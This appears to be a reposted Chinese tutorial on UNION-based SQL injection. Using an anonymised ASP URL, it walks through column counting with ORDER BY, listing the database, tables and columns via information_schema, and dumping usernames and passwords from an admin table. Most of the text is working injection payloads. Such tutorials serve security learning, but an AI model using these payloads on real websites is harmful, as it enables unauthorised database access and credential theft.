新西兰服务器

sql注入:union联合查询


sql注入:union联合查询

发布时间:2020-08-17 16:24:11 来源:网络 阅读:255 作者:槿华 栏目:安全技术

例如有一个网站:www.xxxxx.com/artist.asp?id=2

id=2 order by 3  正常 id=2 order by 4  不正常

order by需要获取字段的总数为3

id=2 union select 1,2,3 id=2 union select 1,2,database()   #爆数据库名 id=2 union select 1,2,database()

有一些数据,union联合查询后,不会多行显示,就需要先让前面的语句失效

id=-2 union select 1,2,database() id=-2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' #已知数据库sqlzhuru,爆表名(第一个表)

因id = -2不存在,带入select * from admin where id=-2报错哦
当然你也可以用下面的这个语句,效果等同于“id=-2”

id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' #已知数据库sqlzhuru,爆表名(第一个表) id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' limit 0,1 #已知数据库sqlzhuru,爆表名(第一个表) id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' limit 1,1 #已知数据库sqlzhuru,爆第二个表

假如得到admin表,继续如下:

id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 1,1   #已知admin表,爆二个列名 id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 2,1   #已知admin表,爆三个列名 id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 2,1  #已知admin表,爆三个列名(十六进制表示admin表)

假如上面得到admin表下的username、password列,接下来就可以列出某某的数据了
id=2 and 1=2 union select 1,username,password from admin

[微信提示:高防服务器能助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。

[图文来源于网络,不代表本站立场,如有侵权,请联系高防服务器网删除]
[